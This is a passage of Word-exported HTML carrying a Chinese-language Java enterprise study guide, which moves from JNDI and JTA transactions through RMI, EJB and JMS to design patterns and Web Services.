宋体"><FONT face="宋体, MS Song">javax.naming.*</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">这个包，运用起来很简单。难点在于服务器资源文件的配置。对于服务器资源文件的配置，就需要看看专门的文档规范了，比如</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">web.xml</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">的写法，</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">ejb-jar.xml</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">的写法等等。针对每种不同的</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">App Server</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">，还有自己的服务资源配置文件，也是需要熟悉的。</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><BR><BR></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">　　然后可以学习</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">JTA</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">，主要是要理解</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">JTA</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">对于事务的控制的方法，以及该在什么场合使用</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">JTA</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">。这里可以简单的举个例子，我们知道一般情况可以对于一个数据库连接进行事务控制</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">(conn.setAutoCommit(false),....,conn.commit())</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">，做为一个原子操作，但是假设我的业务需求是要把对两个不同数据库的操作做为一个原子操作，你能做的到吗？这时候只能用</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">JTA</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">了。假设操作过程是先往</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">A</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">数据库插一条记录，然后删除</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">B</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">数据库另一个记录，我们自己写代码是控制不了把整个操作做为一个原子操作的。用</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">JTA</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">的话，由</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">App Server</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">来完成控制。</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><BR><BR></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">　　在学习</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">EJB</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">之前要学习对象序列化和</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">RMI</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">，</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">RMI</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">是</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">EJB</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">的基础。接着学习</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">JMS</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">和</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">EJB</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">，对于</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">EJB</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">来说，最关键是要理解</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">EJB</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">是如何通过</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">RMI</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">来实现对远端对象的调用的，以及在什么情况下要用到</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">EJB</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">。</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><BR><BR></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">　　在学习完</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">EJB</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">，</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">JMS</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">这些东西之后，你可能会意识到要急不可待学习两个领域的知识，一个是</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">UML</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">，另一个是</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">Design Pattern</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">。</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">Java</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">企业软件的设计非常重视框架</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">(Framework)</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">的设计，一个好的软件框架是软件开发成功的必要条件。在这个时候，应该开始把学习的重点放在设计模式和框架的学习上，通过学习和实际的编程经验来掌握</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">EJB</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">的设计模式和</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">J2EE</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">的核心模式。</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><BR><BR></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">　　</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">J2EE</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">规范里面，除了</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">EJB</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">，</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">JMS</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">，</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">JTA</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">，</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">Servlet/JSP</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">，</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">JDBC</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">之外还有很多很多的企业技术，这里不一一进行介绍了。</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><BR><BR></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">　　另外还有一个最新领域</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">Web Services</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">。</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">Web Services</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">也完全没有任何新东西，它像是一种黏合剂，可以把不同的服务统一起来提供一个统一的调用接口，作为使用者来说，我只要获得服务提供者给我的</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">WSDL</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">（对服务的描述），就够了，我完全不知道服务器提供者提供的服务究竟是</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">EJB</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">组件，还是</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">.Net</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: 